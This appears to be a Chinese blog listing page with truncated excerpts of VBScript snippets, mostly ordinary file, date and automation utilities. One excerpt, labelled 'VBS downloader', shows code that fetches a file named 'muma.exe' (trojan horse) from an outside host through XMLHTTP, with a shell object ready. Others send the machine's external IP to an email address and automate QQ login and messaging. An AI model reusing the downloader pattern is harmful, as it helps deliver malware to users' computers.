VBS调用Photoshop批量生成缩略图的代码

2016年07月27日 68 阅读

模仿腾讯新闻页，给KingCms添加了新闻页图片点播的代码，代码要求的图片点播格式如下：0###http://www.website.org/UploadFile/123.jpg@@@/small/123.gif@@@8标题一***http://www.website.org/UploadFile/456.jpg@@@/small/456.gif@@@标题二***http://www.website.org/UploadFile/789.jpg@@@/sm...

使用vbs获得外网ip并发送到邮箱里

2016年07月27日 72 阅读

获得本地外网地址并发送到指定邮箱，还可以参考这个文章http://www.jb51.net/article/40064.htm复制代码 代码如下:"* **************************************** * "* 程序名称：GetIP.vbs "* 程序说明：获得本地外网地址并发送到指定邮箱 "* 编码：lyserver "* **************************************** * Option ...

vbs实现只复制比目标文件更新的文件

2016年07月27日 79 阅读

因为网站需要频繁的更新首页，有时候使用cdn经常导致首页正在生成内容的时候同步数据（可能是冲突，经常导致首页是空的），这就想了先生成一个不是首页的index2.htm然后再复制一遍为index.htm，这样index2的频繁读写也没问题了。所以先判断index2.htm不是空的时候才复制，而且必须是比index.htm更新的时候才复制。这样就需要一些脚本的支持了。前几天写了一个（bat+xcopy实现只复制比目标文件更新的文件）还是出现为空的情况，这里特加...

vbs复制文件夹的实现代码

2016年07月27日 73 阅读

需要实现一个复制文件夹的功能，网上找到相关代码，并做了改进，vbs脚本如下复制代码 代码如下:Dim fso, CopyCountSet fso = CreateObject（"Scripting.FileSystemObject"）CopyCount = CopyCount + XCopy（fso, ".1", ".2", True）MsgBox "拷贝了" & CopyCount & "个文件！""***************************...

VBS文本文件操作实现代码

2016年07月27日 87 阅读

对于文件的操作，例如：生成一个或者打开一个或者删除一个.txt格式文件。虽然官方的FILE插件提供了一些基本功能，但功能不多。你并不需要理解什么是fso模版，什么是vbs语句，直接套用下面的语句吧！红色字为自己定义的部分，蓝色字为任意选一部分如果你看不懂，请参考下面的例子！操作同一个文件红色部分必须相同请认真看括号内的解释内容定义一个名为fso的关系文件问题的对象，对于一个文件的操作只需写一次，此句必须写VBS Set fso = CreateObject...

获得文件夹大小的VBS代码

2016年07月27日 75 阅读

复制代码 代码如下:"----------------------"获得文件夹的大小"Author = baiyang"Version = 1.0"Date = 09.08.08"----------------------Option ExplicitOn Error Resume NextDim objFSO, objLocalFolder, strArg, longLocalFolderSize, strSizeMess"判断是不是没有路径参数If ...

vbs重启TP-Link路由器示例

2016年07月27日 85 阅读

分享一个自己用的小工具，重启TP-Link路由器的，好像还是大学时候写的，献丑了。 其他路由器可能有些不同，但是思路都是差不多的。复制代码 代码如下:user = "admin" "路由器帐号pass = "admin" "路由器密码With CreateObject（"Msxml2.ServerXMLHTTP"） .open "GET", "http://192.168.1.1/userRpm/SysRebootRpm.htm？Reboot=重启路由器"...

vbscript Split函数用法详解（字符串转数组函数）

2016年07月27日 82 阅读

vbscript Split 函数用法用法：传回数组 = Split（原始字串, 要找的字串, 拆成几个数组） 描述返回一个下标从零开始的一维数组，它包含指定数目的子字符串。语法Split（expression[, delimiter[, count[, compare]]]）例如用逗号（,）分割字符串为数组复制代码 代码如下:str="1,2,3,4"strarr=split（str,","）for i=0 to ubound（strarr）msgbox...

vbs 查找硬盘分区中指定扩展名文件的实现代码

2016年07月27日 84 阅读

挺实用的一段代码，用来深入学习vbs，确实不错咯。复制代码 代码如下:On Error Resume Next "忽略所有错误Dim filename "声明变量Dim reSet re=New RegExp "建立正则表达式对象实例re.Pattern="^（[a-z]|[A-Z]）+:\w+.vbs$"If re.Test（WScript.ScriptFullName）=False ThenMsgBox "请在磁盘根目录下运行本程序，否则搜索结果可能会...

vbs Size 属性使用介绍（获取文件大小）

2016年07月27日 82 阅读

为大家介绍vbs属性之size属性，供大家学习参考。Size 属性对于文件，返回指定文件的字节数；对于文件夹，返回该文件夹中所有文件和子文件夹的字节数。方便我们判断文件的大小。说明object.Sizeobject 应为 File 或 Folder 对象的名称。Folder 对象的 Size 属性示例：复制代码 代码如下:Function ShowFolderSize（filespec） Dim fso, f, s Set fso = CreateObje...

vbs获取当前路径的代码

2016年07月27日 76 阅读

CMD当前路径复制代码 代码如下:test = createobject（"Scripting.FileSystemObject"）.GetFolder（"."）.PathWscript.echo test 当前VBS路径复制代码 代码如下:test = createobject（"Scripting.FileSystemObject"）.GetFile（Wscript.ScriptFullName）.ParentFolder.PathWscript.ec...

vbs获取当前时间日期的代码

2016年07月27日 82 阅读

获取当前日期方法一：复制代码 代码如下:Currentdate1=date（）msgbox Currentdate1获取当前日期方法二：复制代码 代码如下:Currentdate2=year（Now）&"-"&Month（Now）&"-"&day（Now）msgbox Currentdate2获取当前时间：复制代码 代码如下:CurrentTime=Hour（Now）&":"&Minute（Now）&":"&Second（Now）m = "当前时间"& C...

使用VBS获取当前日期的前一天 并修正输出格式

2016年07月27日 76 阅读

获取当前日期方法一：复制代码 代码如下:Currentdate1=date（）msgbox Currentdate1获取当前日期方法二：复制代码 代码如下:Currentdate2=year（Now）&"-"&Month（Now）&"-"&day（Now）msgbox Currentdate2补充一个：如果想获取的日期前面是1位数的前面补0的写法，例如 2016年5月16，如果目录是2016516不如20160516更好复制代码 代码如下:ystr=yea...

vbs qq自动登录脚本改进版

2016年07月27日 74 阅读

复制代码 代码如下:On Error Resume Next Dim WshShell, QQPath, QQselectset wshshell=createobject（"wscript.shell"）set fso=createobject（"scripting.filesystemobject"） key="HKLMSOFTWARETencentPlatForm_TYPE_LIST1"QQPath=wshshell.regread（key&"Typ...

vbs qq自动发信息增强版

2016年07月27日 81 阅读

运行前请确定你的电脑安装了word。复制代码 代码如下:i=0set wshshell=createobject（"wscript.shell"）Set objWord = CreateObject（"Word.Application"） Set colTasks = objWord.Tasks do while i<30For Each objTask in colTasks if left（objTask.Name,1）="与" thenwshs...

vbs实现的保存剪贴板中的文本并编辑或保存

2016年07月27日 81 阅读

保存剪贴板中的文本.vbs原理就是首先判断是否存在同名文件，存在就名字后面+1，然后将剪贴板的内容保存到自定义扩展名的文件里复制代码 代码如下:set fso=createobject（"scripting.filesystemobject"） : name=1Dim nana=Inputbox（"请输入拓展名:","拓展名","txt"）while fso.fileexists（name&"."&na）=truename=name+1wendset o=...

使用vbs脚本定时删除N天前的文件

2016年07月27日 81 阅读

脚本放在定时任务里代替服务定时执行一些操作比较方便，下面是实现删除文件夹下N天前创建的文件的vbs脚本，在配置文件 DelFolderList.txt 中配置要删除的文件路径，ONLY-DEL-FILES 下的路径 是只删除其下的文件，不删除其内的子目录的文件。DEL-FOLDER-FILES下的路径 是删除其内文件及其子目录内的文件，子目录为空时删除目录，删除的文件list 放在log文件夹内。例配置文件DelFolder.txt 内容如下：ONLY-D...

vbs 定时删除功能实现代码

2016年07月27日 79 阅读

参考代码一：复制代码 代码如下:Function DeleteLog（ ） Dim objFSO, objFolder, strPath, targetFSO, subFSO, DirPath DirPath = createobject（"Scripting.FileSystemObject"）.GetFile（Wscript.ScriptFullName）.ParentFolder.Path&"Log" Set objFSO = CreateObje...

VBS下载者（通过vbscript实现文件下载）

2016年07月27日 76 阅读

一、VBS下载者：复制代码 代码如下:Set Post = CreateObject（"Msxml2.XMLHTTP"）Set Shell = CreateObject（"Wscript.Shell"）Post.Open "GET","http://www.jbzj.com/muma.exe",0Post.Send（）Set aGet = CreateObject（"ADODB.Stream"）aGet.Mode = 3aGet.Type = 1aGet....

Wscript 和 Cscript 运行脚本的区别详解

2016年07月27日 81 阅读

WSCRIPT与CScript区别 窗口中运行，WSCRIPT;命令行中运行，CScrip; cscript因为把输出放进了控制台 所以可以对它重定向 方便程序调用 wscript直接用窗口输出 适合调试程序和编写小工具 在windows下不用cmd的话cscript的输出会一闪而过 大多数情况下，列在下表中的选项适用于 WScript.exe 和 CScript.exe。例外情况会加以注释。参数 说明//B 批处理模式；隐藏用户提示和脚本错误在命令行中的...